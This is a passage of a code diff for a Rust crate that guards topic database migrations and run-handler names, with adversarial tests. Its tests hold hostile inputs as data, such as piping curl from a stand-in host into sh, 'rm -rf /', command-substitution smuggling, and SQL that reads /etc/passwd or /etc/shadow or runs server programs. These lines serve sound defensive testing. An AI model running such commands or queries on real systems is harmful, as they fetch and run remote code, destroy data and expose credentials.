"a topic migration may not REINDEX"), + ("DISCARD", "a topic migration may not DISCARD session state"), + ("LISTEN", "a topic migration may not LISTEN"), + ("NOTIFY", "a topic migration may not NOTIFY"), + ("RESET", "a topic migration may not change session settings"), + ( + "BEGIN", + "a topic migration may not manage its own transactions", + ), + ( + "COMMIT", + "a topic migration may not manage its own transactions", + ), +]; + +/// Statement verbs that only count when the statement **starts** with them. +/// +/// `SET` is a legal word inside `UPDATE … SET …`, so it is refused only as a +/// statement head (`SET ROLE`, `SET search_path`). +pub const DENIED_HEADS: [(&str, &str); 1] = + [("SET", "a topic migration may not change session settings")]; + +/// Object kinds a `DROP` may not name. +pub const DENIED_DROP_KINDS: [&str; 8] = [ + "DATABASE", + "SCHEMA", + "ROLE", + "USER", + "OWNED", + "EXTENSION", + "TABLESPACE", + "SUBSCRIPTION", +]; + +/// Server-side functions that reach the database host's files. +pub const DENIED_FUNCTIONS: [&str; 8] = [ + "pg_read_file", + "pg_read_binary_file", + "pg_write_file", + "pg_ls_dir", + "pg_stat_file", + "lo_import", + "lo_export", + "pg_execute_server_program", +]; + +/// Keywords after which a table name appears. +const TABLE_KEYWORDS: [&str; 6] = ["FROM", "JOIN", "INTO", "UPDATE", "TABLE", "INDEX"]; + +/// One statement, in both the forms the guard needs. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Statement { + /// 1-based position in the migration. + pub ordinal: usize, + /// The statement verbatim — this is what gets executed. + pub text: String, + /// The same statement with strings, comments, and dollar-quoted bodies + /// blanked — this is what gets scanned. + pub blanked: String, + /// Dollar-quoted **function bodies**, with their own literals blanked. + /// + /// A body is what actually runs, so it is scanned rather than trusted: a + /// `DELETE FROM proof_rule_version` inside `$$ … $$` is refused exactly + /// as it would be outside. Kept separately from [`Self::blanked`] so the + /// refusal can say the denied token came from a body. + pub bodies: String, +} + +/// Split SQL into statements, keeping both the executable text and a blanked +/// copy for scanning. +/// +/// Recognises `'…'` (with `''`), `"…"` (with `""`), `-- …`, `/* … */` +/// (nesting), and `$tag$ … $tag$`. A semicolon outside all of those ends a +/// statement. Anything unrecognised is copied verbatim, which can only make +/// the scanner *more* conservative. +#[must_use] +pub fn split_statements(sql: &str) -> Vec { + let chars: Vec = sql.chars().collect(); + let mut out: Vec = Vec::new(); + let mut text = String::new(); + let mut blanked = String::new(); + let mut bodies = String::new(); + let mut i = 0usize; + + while i < chars.len() { + let c = chars[i]; + match c { + '\'' => { + // String literal: kept for execution, blanked for scanning. + text.push(c); + blanked.push(' '); + i += 1; + while i < chars.len() { + if chars[i] == '\'' { + if chars.get(i + 1) == Some(&'\'') { + text.push_str("''"); + blanked.push_str(" "); + i += 2; + continue; + } + text.push('\''); + blanked.push(' '); + i += 1; + break; + } + text.push(chars[i]); + blanked.push(' '); + i += 1; + } + } + '"' => { + // Quoted identifier: it *names* an object, so both copies keep it. + text.push('"'); + blanked.push('"'); + i += 1; + while i < chars.len() { + if chars[i] == '"' { + if chars.get(i + 1) == Some(&'"') { + text.push_str("\"\""); + blanked.push_str("\"\""); + i += 2; + continue; + } + text.push('"'); + blanked.push('"'); + i += 1; + break; + } + text.push(chars[i]); + blanked.push(chars[i]); + i += 1; + } + } + '-' if chars.get(i + 1) == Some(&'-') => { + while i < chars.len() && chars[i] != '\n' { + i += 1; + } + } + '/' if chars.get(i + 1) == Some(&'*') => { + i = skip_block_comment(&chars, i); + } + '$' => { + i = copy_dollar_quoted(&chars, i, &mut text, &mut blanked, &mut bodies); + } + ';' => { + if !text.trim().is_empty() { + out.push(Statement { + ordinal: out.len() + 1, + text: text.trim().to_owned(), + blanked: blanked.trim().to_owned(), + bodies: bodies.trim().to_owned(), + }); + } + text.clear(); + blanked.clear(); + bodies.clear(); + i += 1; + } + _ => i = copy_chars(&chars, i, 1, &mut text, &mut blanked), + } + } + if !text.trim().is_empty() { + out.push(Statement { + ordinal: out.len() + 1, + text: text.trim().to_owned(), + blanked: blanked.trim().to_owned(), + bodies: bodies.trim().to_owned(), + }); + } + out +} + +/// Skip a `/* … */` comment (PostgreSQL allows nesting), returning the index +/// just past its close. +fn skip_block_comment(chars: &[char], start: usize) -> usize { + let mut depth = 1usize; + let mut i = start + 2; + while i < chars.len() && depth > 0 { + if chars[i] == '/' && chars.get(i + 1) == Some(&'*') { + depth += 1; + i += 2; + } else if chars[i] == '*' && chars.get(i + 1) == Some(&'/') { + depth -= 1; + i += 2; + } else { + i += 1; + } + } + i +} + +/// Copy a `$tag$ … $tag$` body: kept verbatim in `text`, blanked in +/// `blanked`, and copied into `bodies` with its own literals blanked so the +/// body is *scanned* rather than trusted. +fn copy_dollar_quoted( + chars: &[char], + start: usize, + text: &mut String, + blanked: &mut String, + bodies: &mut String, +) -> usize { + let Some(tag) = dollar_tag(&chars[start..]) else { + return copy_chars(chars, start, 1, text, blanked); + }; + let open = format!("${tag}$"); + let mut i = copy_through(chars, start, open.chars().count(), text, blanked); + let rest: String = chars[i..].iter().collect(); + let (body, consumed) = match rest.find(&open) { + Some(pos) => { + let take = pos + open.len(); + (rest[..take].to_owned(), rest[..take].chars().count()) + } + None => (rest.clone(), rest.chars().count()), + }; + bodies.push_str(&blank_literals(&body)); + bodies.push(' '); + i = copy_through(chars, i, consumed, text, blanked); + i +} + +/// `text` with single-quoted literals replaced by spaces. +/// +/// The body's **statements** are what get scanned, so its literals are +/// blanked the same way the outer statement's are: a body storing the string +/// `'DROP DATABASE'` is data, not a statement. +fn blank_literals(text: &str) -> String { + let chars: Vec = text.chars().collect(); + let mut out = String::with_capacity(text.len()); + let mut i = 0usize; + while i < chars.len() { + if chars[i] == '\'' { + out.push(' '); + i += 1; + while i < chars.len() { + if chars[i] == '\'' { + if chars.get(i + 1) == Some(&'\'') { + out.push_str(" "); + i += 2; + continue; + } + out.push(' '); + i += 1; + break; + } + out.push(' '); + i += 1; + } + } else { + out.push(chars[i]); + i += 1; + } + } + out +} + +/// Copy `n` characters through `text` verbatim and `blanked` as spaces. +fn copy_through( + chars: &[char], + start: usize, + n: usize, + text: &mut String, + blanked: &mut String, +) -> usize { + let mut i = start; + for _ in 0..n { + if let Some(c) = chars.get(i) { + text.push(*c); + blanked.push(' '); + i += 1; + } + } + i +} + +/// The blanked form of every statement, for callers that only scan. +#[must_use] +pub fn blank_statements(sql: &str) -> Vec { + split_statements(sql) + .into_iter() + .map(|s| s.blanked) + .collect() +} + +/// The `$tag$` opening a dollar-quoted string, if `chars` starts with one. +fn dollar_tag(chars: &[char]) -> Option { + if chars.first() != Some(&'$') { + return None; + } + let mut tag = String::new(); + for c in chars.iter().skip(1) { + if *c == '$' { + return Some(tag); + } + if c.is_alphanumeric() || *c == '_' { + tag.push(*c); + } else { + return None; + } + } + None +} + +/// Word-boundary, case-insensitive search on blanked text. +#[must_use] +pub fn has_word(haystack: &str, needle: &str) -> bool { + let up = haystack.to_ascii_uppercase(); + let want = needle.to_ascii_uppercase(); + let mut from = 0usize; + while let Some(pos) = up[from..].find(&want) { + let start = from + pos; + let end = start + want.len(); + let before_ok = start == 0 + || !up[..start] + .chars() + .next_back() + .is_some_and(|c| c.is_alphanumeric() || c == '_'); + let after_ok = end >= up.len() + || !up[end..] + .chars() + .next() + .is_some_and(|c| c.is_alphanumeric() || c == '_'); + if before_ok && after_ok { + return true; + } + from = end; + } + false +} + +/// Identifier-shaped tokens, lower-cased, dots kept (`schema.table`). +fn tokens(text: &str) -> Vec { + let mut out = Vec::new(); + let mut cur = String::new(); + for c in text.chars() { + if c.is_alphanumeric() || c == '_' || c == '.' { + cur.push(c); + } else if !cur.is_empty() { + out.push(cur.trim_matches('.').to_ascii_lowercase()); + cur.clear(); + } + } + if !cur.is_empty() { + out.push(cur.trim_matches('.').to_ascii_lowercase()); + } + out.retain(|s| !s.is_empty()); + out +} + +/// Object names following any of [`TABLE_KEYWORDS`], skipping `IF NOT EXISTS` +/// / `OR REPLACE`, and skipping function calls (`name(`). +#[must_use] +pub fn referenced_objects(statement: &str) -> Vec { + let toks = tokens(statement); + let mut out = BTreeSet::new(); + for (i, tok) in toks.iter().enumerate() { + if !TABLE_KEYWORDS.iter().any(|k| tok.eq_ignore_ascii_case(k)) { + continue; + } + let mut j = i + 1; + while j < toks.len() + && [ + "if", + "not", + "exists", + "or", + "replace", + "only", + "into", + "unique", + "concurrently", + ] + .iter() + .any(|s| toks[j].eq_ignore_ascii_case(s)) + { + j += 1; + } + let Some(name) = toks.get(j) else { continue }; + // A table function (`generate_series(…)`) is not a table. The token + // stream drops parentheses, so check the source text instead. + if is_function_call(statement, name) { + continue; + } + if is_sql_keyword(name) { + continue; + } + out.insert(name.clone()); + } + out.into_iter().collect() +} + +/// Whether `name` appears as a **function call** (`name(`, no space) in +/// `statement`. +/// +/// The no-space rule is what separates `generate_series(1, 10)` from +/// `CREATE TABLE x (id TEXT)`: PostgreSQL requires a function call to have no +/// whitespace before its parenthesis, while a column list always has one. A +/// whitespace-tolerant check here would classify every `CREATE TABLE … (…)` +/// as a function call and let every unscoped table name through. +fn is_function_call(statement: &str, name: &str) -> bool { + let lower = statement.to_ascii_lowercase(); + let want = name.to_ascii_lowercase(); + let mut from = 0usize; + while let Some(pos) = lower[from..].find(&want) { + let start = from + pos; + let end = start + want.len(); + if lower[end..].starts_with('(') { + return true; + } + from = end; + } + false +} + +/// Keywords that are never a table name in the position the scanner reads. +fn is_sql_keyword(tok: &str) -> bool { + matches!( + tok, + "select" + | "where" + | "values" + | "set" + | "and" + | "or" + | "not" + | "null" + | "default" + | "lateral" + | "unnest" + | "true" + | "false" + ) +} + +/// Copy `chars[i..i + n]` through to both buffers, returning the new index. +fn copy_chars( + chars: &[char], + i: usize, + n: usize, + text: &mut String, + blanked: &mut String, +) -> usize { + let mut idx = i; + for _ in 0..n { + if let Some(c) = chars.get(idx) { + text.push(*c); + blanked.push(*c); + idx += 1; + } + } + idx +} + +/// Whether `name` is inside `topic_id`'s namespace. +/// +/// `{topic_id}.scores`, `{topic_id}_scores`, and the generic `topic_scores` +/// are the topic's. Anything else is another topic's — or this repository's. +#[must_use] +pub fn is_topic_scoped(name: &str, topic_id: &str) -> bool { + let n = name.trim().trim_matches('"').to_ascii_lowercase(); + if n.is_empty() { + return false; + } + let topic = topic_id.trim().to_ascii_lowercase(); + let (schema, bare) = match n.split_once('.') { + Some((s, b)) => (Some(s), b), + None => (None, n.as_str()), + }; + if schema == Some(topic.as_str()) { + return true; + } + bare.starts_with(&format!("{topic}_")) || bare.starts_with("topic_") +} + +/// Check a statement's text against every deny rule. +/// +/// `where_` names the part of the statement being checked (`statement` or +/// `function body`), so a refusal from inside a dollar-quoted body says so. +fn check_text( + statement: &Statement, + text: &str, + topic_id: &str, + where_: &str, +) -> Result<(), InstallError> { + if text.trim().is_empty() { + return Ok(()); + } + let deny = |what: &str, why: &str| InstallError::MigrationDenied { + ordinal: statement.ordinal, + statement: truncate(&statement.blanked, 160), + what: what.to_owned(), + why: format!("{why} ({where_})"), + }; + + for (verb, why) in DENIED_VERBS { + if has_word(text, verb) { + return Err(deny(verb, why)); + } + } + let head = text.trim_start(); + for (verb, why) in DENIED_HEADS { + if head.len() >= verb.len() && head[..verb.len()].eq_ignore_ascii_case(verb) { + let rest = &head[verb.len()..]; + if rest.is_empty() || rest.starts_with(char::is_whitespace) { + return Err(deny(verb, why)); + } + } + } + + // `DROP` kinds are checked before the token scan so the refusal names the + // construct the operator wrote (`DROP ROLE`) rather than a role name. + if has_word(text, "DROP") { + for kind in DENIED_DROP_KINDS { + if has_word(text, kind) { + return Err(deny( + &format!("DROP {kind}"), + "a topic migration may not drop a database, schema, role, or extension", + )); + } + } + } + + for func in DENIED_FUNCTIONS { + if has_word(text, func) { + return Err(deny( + func, + "server-side file access is not a topic migration", + )); + } + } + + for token in tokens(text) { + let base = token.rsplit('.').next().unwrap_or(&token); + if DENIED_OBJECTS + .iter() + .any(|d| base.eq_ignore_ascii_case(d) || token.eq_ignore_ascii_case(d)) + { + return Err(deny( + &token, + "the shared database's own objects are not a topic's to touch", + )); + } + if base.starts_with(OWNED_TABLE_PREFIX) { + return Err(deny( + &token, + "every proof_* object belongs to this repository's scoring path; a topic \ + migration may not read, write, or redefine one", + )); + } + } + + for name in referenced_objects(text) { + if !is_topic_scoped(&name, topic_id) { + return Err(deny( + &name, + &format!( + "a topic migration may only touch objects named {topic_id}_*, topic_*, or \ + {topic_id}.*; an unscoped name would collide with — or read — another \ + topic's install" + ), + )); + } + } + Ok(()) +} + +/// Refuse a statement that reaches outside the topic's namespace. +/// +/// Both the statement itself and every dollar-quoted **function body** it +/// carries are checked: a body is what actually runs, so a +/// `DELETE FROM proof_rule_version` inside `$$ … $$` is refused exactly as it +/// would be outside one. +/// +/// # Errors +/// +/// [`InstallError::MigrationDenied`] naming the statement ordinal, the +/// offending token, and why. +pub fn check_statement(statement: &Statement, topic_id: &str) -> Result<(), InstallError> { + check_text(statement, &statement.blanked, topic_id, "statement")?; + check_text(statement, &statement.bodies, topic_id, "function body") +} + +/// Check every statement of one migration. +/// +/// # Errors +/// +/// The first [`InstallError::MigrationDenied`]. +pub fn check_migration(sql: &str, topic_id: &str) -> Result, InstallError> { + let statements = split_statements(sql); + if statements.is_empty() { + return Err(InstallError::MigrationDenied { + ordinal: 0, + statement: String::new(), + what: "empty migration".to_owned(), + why: "a migration with no statements installs nothing; remove it from the bundle" + .to_owned(), + }); + } + for statement in &statements { + check_statement(statement, topic_id)?; + } + Ok(statements) +} + +/// Shorten a statement for an error message. +fn truncate(s: &str, max: usize) -> String { + let flat = s.split_whitespace().collect::>().join(" "); + if flat.chars().count() <= max { + flat + } else { + let cut: String = flat.chars().take(max).collect(); + format!("{cut}…") + } +} diff --git a/crates/proof-topic-install/tests/handler_allowlist.rs b/crates/proof-topic-install/tests/handler_allowlist.rs new file mode 100644 index 000000000..152c62b22 --- /dev/null +++ b/crates/proof-topic-install/tests/handler_allowlist.rs @@ -0,0 +1,200 @@ +//! The handler allow-list: which run backends an install may bind. +//! +//! A bundle's `rlm` section is **operator-supplied JSON**, not a signed +//! document, so a handler name in it is untrusted input. The install binds it +//! to a run backend, and the only backends that exist are the generic +//! in-guest runner (Firecracker) and an operator-baked Harbor adaptor over +//! it. This suite is the proof that nothing else can be named — least of all +//! a path, a URL, or a command line, which is what an RLM section would +//! reach for if it could. + +#![allow(clippy::unwrap_used, clippy::expect_used)] + +use proof_topic_install::handler::{allowed_list, resolve_handler, Handler, ALLOWED_HANDLERS}; +use proof_topic_install::{bound_runner, read_section, HandlerError, InstallError}; + +/// Every allowed spelling resolves, and the two families are the two that +/// exist. +#[test] +fn the_allow_list_is_closed_and_maps_to_the_two_real_families() { + assert_eq!(resolve_handler("vm_backed"), Ok(Handler::VmBacked)); + assert_eq!(resolve_handler("vm_backed_runner"), Ok(Handler::VmBacked)); + assert_eq!(resolve_handler("harbor"), Ok(Handler::Harbor)); + assert_eq!(resolve_handler("harbor_trials"), Ok(Handler::Harbor)); + // Whitespace and case are tolerated, as they are everywhere else in the + // CLI's inputs. + assert_eq!(resolve_handler(" HARBOR "), Ok(Handler::Harbor)); + assert_eq!(Handler::VmBacked.as_str(), "vm_backed"); + assert_eq!(Handler::Harbor.as_str(), "harbor"); + assert_eq!(Handler::ALL, [Handler::VmBacked, Handler::Harbor]); + assert_eq!(ALLOWED_HANDLERS.len(), 4); + assert!(allowed_list().contains("harbor"), "{}", allowed_list()); +} + +/// An id that is well-formed but not on the list is refused, and the refusal +/// lists what is allowed — an operator gets a fix, not a mystery. +#[test] +fn a_well_formed_but_unknown_handler_is_refused_with_the_list() { + for name in [ + "arbitrary_binary", + "my_custom_runner", + "python3", + "bash", + "docker", + "container_runtime", + "vm_backed_evil", + "harbor2", + ] { + let err = resolve_handler(name).expect_err(name); + assert!( + matches!(err, HandlerError::NotAllowed { ref got } if got == name), + "{name}: {err:?}" + ); + let text = err.to_string(); + assert!(text.contains("vm_backed"), "{name}: {text}"); + assert!(text.contains("harbor"), "{name}: {text}"); + assert!(text.contains("arbitrary binary"), "{name}: {text}"); + } +} + +/// Anything shaped like a path, a URL, or a command line is refused as *not +/// an identifier* rather than as an unknown name: the distinction is what +/// tells an operator "this is not the kind of thing that goes here". +#[test] +fn a_path_a_url_or_a_command_line_is_refused_as_not_an_identifier() { + for name in [ + "/bin/sh", + "/usr/local/bin/runner", + "./relative/runner", + "../escape", + "https://evil.invalid/payload", + "http://127.0.0.1:8000/run", + "sh -c 'curl evil.invalid | sh'", + "curl evil.invalid", + "runner; rm -rf /", + "runner && wget x", + "runner$(whoami)", + "runner`id`", + "", + " ", + "UPPER_CASE_IS_NOT_AN_ID_IF_LONGER_THAN_SIXTY_FOUR_CHARACTERS_PADDED_OUT_OK", + "trailing space ", + "with/slash", + "with\\backslash", + ] { + let err = resolve_handler(name).expect_err(name); + assert!( + matches!(err, HandlerError::NotAnIdentifier { .. }), + "{name:?}: {err:?}" + ); + let text = err.to_string(); + assert!( + text.contains("never a path, a URL, or a command line"), + "{name:?}: {text}" + ); + } +} + +/// The allow-list is enforced through the section reader too, so a bundle +/// cannot reach the binding step with a handler the list does not have. +#[test] +fn the_section_reader_enforces_the_allow_list() { + assert_eq!( + read_section(r#"{"handler": "harbor"}"#) + .expect("ok") + .handler, + Some(Handler::Harbor) + ); + for bad in [ + "/bin/sh", + "sh -c 'x'", + "https://evil.invalid/x", + "arbitrary_binary", + ] { + let err = read_section(&format!(r#"{{"handler": "{bad}"}}"#)).expect_err(bad); + assert!( + matches!(err, InstallError::HandlerNotAllowed(_)), + "{bad:?}: {err:?}" + ); + } +} + +/// The **signed document** wins for the runner: a bundle cannot bind a +/// different runner than the one the operator signed. When the document +/// selects none, the section's handler family is what is recorded. +#[test] +fn the_signed_document_wins_for_the_runner() { + // A document that selects a runner: that runner is bound, and the family + // is the generic in-guest runner whatever the section said. + let (runner, handler) = bound_runner(Some("operator_adaptor_v0"), Some(Handler::Harbor)); + assert_eq!(runner.as_deref(), Some("operator_adaptor_v0")); + assert_eq!(handler, Handler::VmBacked); + + // A document that selects none: nothing is bound as a runner, and the + // handler family is whatever the section allow-listed (default vm_backed). + let (runner, handler) = bound_runner(None, Some(Handler::Harbor)); + assert_eq!(runner, None); + assert_eq!(handler, Handler::Harbor); + let (runner, handler) = bound_runner(None, None); + assert_eq!(runner, None); + assert_eq!(handler, Handler::VmBacked, "the fail-closed default"); +} + +/// The crate compiles no challenge: no benchmark, harness, model, or task +/// name appears in its non-test source. The runner ids a topic names are +/// topic data; this crate must not know any of them. +#[test] +fn no_challenge_content_is_compiled_into_this_crate() { + for src in [ + include_str!("../src/lib.rs"), + include_str!("../src/handler.rs"), + include_str!("../src/install.rs"), + include_str!("../src/section.rs"), + include_str!("../src/sql_guard.rs"), + ] { + let non_test = src.split("#[cfg(test)]").next().unwrap_or(""); + let lower = non_test.to_ascii_lowercase(); + for forbidden in [ + "harbor-trials-v1", + "terminal-bench", + "terminal bench", + "tbench", + "success_rate", + "no_short_circuit", + "openrouter", + "kimi", + "rlm_fc_in_guest_harbor", + ] { + assert!( + !lower.contains(forbidden), + "{forbidden:?} is compiled into this crate" + ); + } + } +} + +/// The seed topic id and its alias appear in this suite as **strings**, never +/// as conditions: the guard must not branch on a topic's name. Checked on the +/// crate's own non-test source, so a future edit that adds +/// `if topic_id == "tb4"` fails here. +#[test] +fn no_topic_literal_appears_in_this_crates_logic() { + for src in [ + include_str!("../src/lib.rs"), + include_str!("../src/handler.rs"), + include_str!("../src/install.rs"), + include_str!("../src/section.rs"), + include_str!("../src/sql_guard.rs"), + ] { + let non_test = src.split("#[cfg(test)]").next().unwrap_or(""); + let logic: String = non_test + .lines() + .filter(|l| !l.trim_start().starts_with("//")) + .collect::>() + .join("\n"); + assert!( + !logic.contains("tb4") && !logic.contains("tbench"), + "topic ids belong in signed documents and fixtures, never in logic" + ); + } +} diff --git a/crates/proof-topic-install/tests/sql_guard.rs b/crates/proof-topic-install/tests/sql_guard.rs new file mode 100644 index 000000000..766a1a97b --- /dev/null +++ b/crates/proof-topic-install/tests/sql_guard.rs @@ -0,0 +1,495 @@ +//! The migration deny-list: what a topic's SQL may and may not do. +//! +//! These are the tests that matter most in this crate. A topic migration runs +//! in the **shared challenge database**, so a miss here is not a bug in one +//! topic — it is a path to rewriting another topic's rules, forging a +//! promotion, or dropping the tables the whole subnet's scoring reads. +//! +//! The suite is deliberately adversarial: it tries the spellings an attacker +//! would reach for (quoting, comments, dollar-quoted bodies, case, schema +//! qualification, `IF EXISTS`), and it asserts the *happy* path too, because +//! a guard that refuses everything is not a guard — it is an outage. + +#![allow(clippy::unwrap_used, clippy::expect_used)] + +use proof_topic_install::sql_guard::{ + blank_statements, check_migration, check_statement, is_topic_scoped, split_statements, + OWNED_TABLES, +}; +use proof_topic_install::InstallError; + +const TOPIC: &str = "tb4"; + +/// Assert a migration is refused, naming `needle` in the refusal. +fn refused(sql: &str, needle: &str) { + let err = check_migration(sql, TOPIC).expect_err(&format!("must refuse: {sql}")); + let InstallError::MigrationDenied { what, why, .. } = &err else { + panic!("expected MigrationDenied for {sql:?}, got {err:?}"); + }; + let text = format!("{what} {why}"); + assert!( + text.to_lowercase().contains(&needle.to_lowercase()), + "{sql:?}: refusal must name {needle:?}, said {text:?}" + ); +} + +/// Assert a migration is allowed. +fn allowed(sql: &str) { + check_migration(sql, TOPIC).unwrap_or_else(|e| panic!("must allow {sql:?}: {e}")); +} + +// --------------------------------------------------------------------------- +// The deny-list: every proof_* object is out of bounds +// --------------------------------------------------------------------------- + +/// Every table this repository owns is refused by name, whatever the verb. +/// +/// The enforcement is the `proof_` **prefix**, so a table a later migration +/// adds is protected without editing the guard. This test asserts the +/// readable list stays in step with the migrations, so a refusal can name the +/// object it refused. +#[test] +fn no_topic_migration_may_touch_a_proof_table() { + for table in OWNED_TABLES { + for sql in [ + format!("DROP TABLE {table}"), + format!("ALTER TABLE {table} ADD COLUMN evil TEXT"), + format!("TRUNCATE {table}"), + format!("INSERT INTO {table} (topic_id) VALUES ('x')"), + format!("UPDATE {table} SET topic_id = 'x'"), + format!("DELETE FROM {table}"), + format!("SELECT * FROM {table}"), + format!("CREATE TABLE {table} (id TEXT)"), + format!("CREATE INDEX ON {table} (topic_id)"), + ] { + let err = check_migration(&sql, TOPIC).expect_err(&format!("{sql:?} must be refused")); + let InstallError::MigrationDenied { what, why, .. } = &err else { + panic!("{sql:?}: expected MigrationDenied, got {err:?}"); + }; + assert!( + what.to_lowercase().contains(&table.to_lowercase()) + || why.to_lowercase().contains("proof_"), + "{sql:?}: refusal must name the object, said what={what:?} why={why:?}" + ); + } + } +} + +/// A `proof_*` table that does not exist yet is still refused: the guard is +/// the prefix, not a list that a later migration could fall behind. +#[test] +fn an_unlisted_proof_table_is_still_refused() { + for sql in [ + "SELECT * FROM proof_something_added_later", + "DROP TABLE proof_future_table", + "INSERT INTO proof_future_table (a) VALUES (1)", + "ALTER TABLE proof_future_table ADD COLUMN b TEXT", + ] { + refused(sql, "proof_"); + } +} + +/// The sqlx bookkeeping table and the roles are out of bounds too: a topic +/// that could rewrite `_sqlx_migrations` could make the next boot skip a +/// migration, and a topic that could `GRANT` could escalate. +#[test] +fn the_shared_databases_own_objects_are_refused() { + for (sql, needle) in [ + ("DELETE FROM _sqlx_migrations", "_sqlx_migrations"), + ( + "INSERT INTO _sqlx_migrations (version) VALUES (1)", + "_sqlx_migrations", + ), + ("SELECT * FROM pg_roles", "pg_roles"), + ("SELECT rolpassword FROM pg_authid", "pg_authid"), + ("SELECT * FROM pg_catalog.pg_proc", "pg_catalog"), + ( + "SELECT * FROM information_schema.tables", + "information_schema", + ), + ] { + refused(sql, needle); + } +} + +// --------------------------------------------------------------------------- +// Privilege escalation, escape, and destruction +// --------------------------------------------------------------------------- + +/// Privilege and session control are refused: a topic migration is data +/// definition inside its own namespace, not administration. +#[test] +fn privilege_and_session_control_are_refused() { + for sql in [ + "GRANT ALL ON SCHEMA public TO base_app", + "GRANT SELECT ON tb4_scratch TO base_app", + "REVOKE SELECT ON tb4_scratch FROM base_app", + "SET ROLE base_app", + "SET search_path TO public", + "RESET ALL", + "BEGIN", + "COMMIT", + "DISCARD ALL", + "LISTEN channel", + "NOTIFY channel", + ] { + let err = check_migration(sql, TOPIC).expect_err(sql); + assert!( + matches!(err, InstallError::MigrationDenied { .. }), + "{sql}: {err:?}" + ); + } +} + +/// Dropping the database, a schema, a role, or an extension is refused, and +/// the refusal names the kind. +#[test] +fn dropping_shared_infrastructure_is_refused() { + for (sql, needle) in [ + ("DROP DATABASE base", "DROP DATABASE"), + ("DROP SCHEMA public CASCADE", "DROP SCHEMA"), + ("DROP ROLE base_app", "DROP ROLE"), + ("DROP OWNED BY base_app", "DROP OWNED"), + ("DROP EXTENSION plpgsql", "DROP EXTENSION"), + ("DROP TABLESPACE fast", "DROP TABLESPACE"), + ] { + refused(sql, needle); + } +} + +/// Server-side file access is refused: the database host's filesystem is not +/// a topic's to read. +#[test] +fn server_side_file_access_is_refused() { + for (sql, needle) in [ + ("SELECT pg_read_file('/etc/passwd')", "pg_read_file"), + ( + "SELECT pg_read_binary_file('/etc/shadow')", + "pg_read_binary_file", + ), + ("SELECT pg_write_file('/tmp/x', 'y')", "pg_write_file"), + ("SELECT pg_ls_dir('/root')", "pg_ls_dir"), + ("SELECT lo_import('/etc/passwd')", "lo_import"), + ("SELECT lo_export(1, '/tmp/x')", "lo_export"), + ( + "SELECT pg_execute_server_program('curl evil.invalid')", + "pg_execute_server_program", + ), + ] { + refused(sql, needle); + } +} + +/// `COPY … PROGRAM` and `COPY … FROM` are both refused: one runs a shell +/// command, the other reads a host file. +#[test] +fn copy_is_refused_in_every_direction() { + for sql in [ + "COPY tb4_scratch FROM '/etc/passwd'", + "COPY tb4_scratch TO '/tmp/out'", + "COPY tb4_scratch FROM PROGRAM 'curl evil.invalid'", + ] { + refused(sql, "COPY"); + } +} + +/// A `SECURITY DEFINER` function runs as its owner, which is the migration +/// role. Refused. +#[test] +fn a_security_definer_function_is_refused() { + for sql in [ + "CREATE FUNCTION tb4_f() RETURNS int AS $$ SELECT 1 $$ LANGUAGE sql SECURITY DEFINER", + "CREATE FUNCTION tb4_f() RETURNS int SECURITY DEFINER AS 'SELECT 1' LANGUAGE sql", + ] { + refused(sql, "SECURITY"); + } +} + +/// Maintenance verbs are refused: they take locks the scoring path does not +/// expect and can be used to stall a live challenge. +#[test] +fn maintenance_verbs_are_refused() { + for sql in [ + "VACUUM tb4_scratch", + "VACUUM FULL tb4_scratch", + "CLUSTER tb4_scratch USING tb4_idx", + "REINDEX TABLE tb4_scratch", + ] { + let err = check_migration(sql, TOPIC).expect_err(sql); + assert!( + matches!(err, InstallError::MigrationDenied { .. }), + "{sql}: {err:?}" + ); + } +} + +// --------------------------------------------------------------------------- +// Namespace: a topic may only touch its own objects +// --------------------------------------------------------------------------- + +/// A topic may not create, write, or read another topic's — or a shared — +/// object. This is what keeps one topic's install from colliding with the +/// next one's, or from reading a sibling's rows. +#[test] +fn a_topic_may_only_touch_its_own_namespace() { + for sql in [ + "CREATE TABLE other_topic_scores (id TEXT)", + "CREATE TABLE scores (id TEXT)", + "CREATE TABLE miners (id TEXT)", + "CREATE TABLE challenge_backends (id TEXT)", + "CREATE TABLE public_scores (id TEXT)", + "INSERT INTO other_topic_scores (id) VALUES ('x')", + "UPDATE other_topic_scores SET id = 'x'", + "DELETE FROM other_topic_scores", + "SELECT * FROM other_topic_scores", + "SELECT * FROM miners", + ] { + let err = check_migration(sql, TOPIC).expect_err(&format!("{sql:?} must be refused")); + assert!( + matches!(err, InstallError::MigrationDenied { .. }), + "{sql}: {err:?}" + ); + } +} + +/// The topic's own namespace — `tb4_*`, `topic_*`, and `tb4.…` — is allowed, +/// in every verb a migration legitimately needs. +#[test] +fn a_topics_own_namespace_is_allowed() { + for sql in [ + "CREATE TABLE tb4_scratch (id TEXT)", + "CREATE TABLE topic_scores (id TEXT, value DOUBLE PRECISION)", + "CREATE INDEX tb4_scratch_idx ON tb4_scratch (id)", + "ALTER TABLE tb4_scratch ADD COLUMN note TEXT", + "INSERT INTO tb4_scratch (id) VALUES ('a')", + "UPDATE tb4_scratch SET note = 'b' WHERE id = 'a'", + "DELETE FROM tb4_scratch WHERE id = 'a'", + "SELECT id FROM tb4_scratch", + "CREATE TABLE tb4.runs (id TEXT)", + "CREATE TYPE tb4_state AS ENUM ('open', 'closed')", + "CREATE SEQUENCE tb4_seq", + "TRUNCATE tb4_scratch", + "CREATE VIEW tb4_view AS SELECT id FROM tb4_scratch", + ] { + allowed(sql); + } + // A sibling topic's namespace is not the topic's, even though it looks + // similar: the prefix has to match the topic's own id. + assert!(is_topic_scoped("tb4_scratch", "tb4")); + assert!(is_topic_scoped("topic_scratch", "tb4")); + assert!(is_topic_scoped("tb4.runs", "tb4")); + assert!(!is_topic_scoped("tb40_scratch", "tb4")); + assert!(!is_topic_scoped("tb_scratch", "tb4")); + assert!(!is_topic_scoped("", "tb4")); +} + +/// A quoted identifier still names an object, so quoting cannot smuggle a +/// denied table past the scanner. +#[test] +fn quoted_identifiers_cannot_smuggle_a_denied_object() { + for sql in [ + r#"SELECT * FROM "proof_rule_version""#, + r#"DROP TABLE "proof_topic_version""#, + r#"INSERT INTO "other_topic_scores" (a) VALUES (1)"#, + r#"CREATE TABLE "scores" (id TEXT)"#, + ] { + let err = check_migration(sql, TOPIC).expect_err(&format!("{sql:?} must be refused")); + assert!( + matches!(err, InstallError::MigrationDenied { .. }), + "{sql}: {err:?}" + ); + } +} + +// --------------------------------------------------------------------------- +// Evasion attempts +// --------------------------------------------------------------------------- + +/// A denied word inside a string literal is **data**, not a statement: a +/// migration that stores the text `"DROP DATABASE"` must still 